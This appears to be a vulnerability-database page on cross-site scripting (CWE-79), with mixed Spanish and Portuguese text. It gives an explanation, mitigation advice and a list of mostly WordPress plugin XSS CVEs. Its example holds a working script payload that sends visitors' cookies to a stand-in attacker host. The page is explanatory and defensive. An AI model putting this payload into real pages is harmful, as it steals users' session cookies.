Fallos del tipo CWE-79

30.201 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-20409MEDIUMA vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an unauthenticated, reEPSS 0.3%CVE-2024-9306MEDIUMWP Booking Calendar <= 10.6 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-9708MEDIUMEasy SVG Upload <= 1.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-4667MEDIUMBlog, Posts and Category Filter for Elementor <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post and Category Filter WidgetEPSS 0.3%CVE-2024-29095MEDIUMWordPress Site Reviews plugin <= 6.11.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-10323MEDIUMJetWidgets For Elementor <= 1.0.18 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-6363MEDIUMStock Ticker <= 3.24.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via stock_ticker ShortcodeEPSS 0.3%CVE-2026-3659MEDIUMWP Circliful <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode AttributeEPSS 0.3%CVE-2024-8960MEDIUMCowidgets – Elementor Addons <= 1.2.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-67025MEDIUMCross Site Scripting vulnerability in Anycomment anycomment.io 0.4.4 allows a remote attacker to execute arbitrary code via the Anycomment cEPSS 0.3%CVE-2024-6282MEDIUMMaster Addons – Free Widgets, Hover Effects, Toggle, Conditions, Animations for Elementor <= 2.0.6.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via data-jltma-wrapper-link ElementEPSS 0.3%CVE-2025-1291MEDIUMGutenberg Blocks by Kadence Blocks <= 3.4.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'icon'EPSS 0.3%CVE-2024-4273MEDIUMEssential Real Estate <= 4.4.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2026-28861MEDIUMA logic issue was addressed with improved state management. This issue is fixed in Safari 26.4, iOS 18.7.7 and iPadOS 18.7.7, iOS 26.4 and iEPSS 0.3%CVE-2024-44930MEDIUMSerilog before v2.1.0 was discovered to contain a Client IP Spoofing vulnerability, which allows attackers to falsify their IP addresses by EPSS 0.3%CVE-2024-4379MEDIUMPremium Addons for Elementor <= 4.10.31 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Global TooltipEPSS 0.3%CVE-2026-107751HIGHMang Board <= 2.4.3 - Unauthenticated Stored Cross-Site Scripting via 'user_name' ParameterEPSS 0.3%CVE-2026-87901HIGHImproper sanitization in the registration module allows reflected Cross-Site Scripting.EPSS 0.3%CVE-2024-4313MEDIUMTable Addons for Elementor <= 2.1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via _id ParameterEPSS 0.3%CVE-2024-3926MEDIUMElement Pack Elementor Addons (Header Footer, Template Library, Dynamic Grid & Carousel, Remote Arrows) <= 5.6.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via custom_attributesEPSS 0.3%